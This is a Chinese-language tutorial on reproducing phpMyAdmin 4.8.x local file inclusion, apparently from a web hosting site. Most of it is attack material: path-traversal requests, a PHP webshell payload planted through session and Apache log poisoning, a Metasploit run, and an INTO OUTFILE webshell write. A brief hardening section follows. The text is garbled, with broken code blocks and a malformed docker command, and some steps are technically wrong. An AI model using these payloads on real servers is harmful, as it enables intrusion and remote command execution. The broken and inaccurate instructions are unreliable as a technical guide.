# 如何理解phpMyAdmin文件包含漏洞復現
## 前言
phpMyAdmin作為最流行的MySQL數據庫管理工具之一,其安全性直接影響數百萬網站的數據安全。文件包含漏洞(Local File Inclusion, LFI)是phpMyAdmin歷史上多次出現的嚴重漏洞類型。本文將通過漏洞原理分析、環境搭建、漏洞復現和防御措施四個維度,深入解析這類漏洞的利用方式。
---
## 一、漏洞原理深度解析
### 1.1 文件包含漏洞基礎
文件包含漏洞分為兩類:
- **本地文件包含(LFI)**:包含服務器本地文件
- **遠程文件包含(RFI)**:通過URL包含遠程文件(需`allow_url_include=On`)
phpMyAdmin的典型LFI漏洞常出現在:
```php
// 錯誤示例:未校驗用戶輸入的包含路徑
$page = $_GET['page'];
include('/modules/' . $page . '/header.php');
在phpMyAdmin中,文件包含漏洞常與以下特性結合:
1. 會話文件包含:通過寫入惡意代碼到臨時會話文件(/tmp/sess_[PHPSESSID]
)
2. 日志文件包含:包含Apache/Nginx訪問日志注入PHP代碼
3. 配置文件包含:利用config.inc.php
等配置文件
組件 | 版本 |
---|---|
phpMyAdmin | 4.8.0-4.8.1 |
PHP | 5.6⁄7.0(需開啟session.auto_start ) |
MySQL | 5.7 |
操作系統 | Ubuntu 18.04/Kali |
使用Docker快速搭建:
docker run -d -p 8080:80 --name vulnerable_pma \
-e PMA_VERSION=4.8.1 \
-vulnerable-web-dvwa
php.ini
:
session.auto_start = 1
allow_url_include = Off
config.inc.php
未設置$cfg['TempDir']
構造惡意請求:
GET /index.php?target=db_sql.php%253f/../../../../../../etc/passwd HTTP/1.1
%253f
解碼后為?
會話文件包含利用:
# 生成惡意SESSION
import requests
url = "http://target/index.php"
payload = "<?php system($_GET['cmd']);?>"
requests.get(url, cookies={'PHPSESSID': payload})
包含臨時文件:
GET /index.php?target=../../../../../../tmp/sess_[惡意ID]&cmd=id HTTP/1.1
使用Metasploit模塊:
use exploit/multi/http/phpmyadmin_lfi_rce
set RHOSTS 192.168.1.100
set TARGETURI /pma
exploit
當無法使用會話文件時: 1. 通過User-Agent注入PHP代碼:
curl -A "<?php phpinfo();?>" http://target/
GET /index.php?target=../../../../var/log/apache2/access.log
轉換編碼漏洞:
SELECT 0x3C3F7068702073797374656D28245F4745545B27636D64275D293B203F3E INTO OUTFILE '/var/www/shell.php'
(十六進制編碼的<?php system($_GET['cmd']);?>
)
設計器功能利用:
通過pma_pdf_schema
表寫入惡意代碼
if (strpos($target, '..') !== false) {
die('Invalid request');
}
權限控制:
chown -R root:root /usr/share/phpmyadmin
chmod -R 644 /usr/share/phpmyadmin
配置加固:
// config.inc.php
$cfg['AllowArbitraryServer'] = false;
$cfg['TempDir'] = '/var/lib/phpmyadmin/tmp';
WAF規則示例(ModSecurity):
SecRule ARGS_GET:target "@contains .." "deny,log,msg:'phpMyAdmin LFI attempt'"
“理解漏洞的最好方式就是親手復現它” —— 某安全研究員
”`
注:實際復現請務必在授權環境下進行,本文僅作技術研究用途。根據具體環境參數可能需要調整利用方式,建議參考官方補丁分析完整防護方案。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。